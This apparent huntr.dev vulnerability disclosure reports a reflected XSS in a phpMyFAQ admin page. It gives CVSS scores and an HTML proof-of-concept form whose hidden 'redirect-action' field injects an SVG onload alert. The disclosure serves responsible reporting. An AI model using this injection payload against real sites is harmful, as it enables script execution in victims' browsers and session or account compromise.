Reflect XSS Which can help in any CSRF Vulnerability

2022-12-1310:19:56

aggressiveuser

www.huntr.dev

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:P/A:N

0.0005 Low

EPSS

Percentile

14.3%

JSON

Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.

Proof of Concept

Below HTML code for trigger XSS with POST method

&lt;html&gt;
 &lt;title&gt;XSS POC By AggressiveUser&lt;/title&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://roy.demo.phpmyfaq.de/admin/index.php" method="POST"&gt;
      &lt;input type="hidden" name="redirect&#45;action" value="AggressiveUser&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;112233&#41;&gt;" /&gt;
      <center>&lt;input type="submit" value="Click Here for Trigger XSS" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;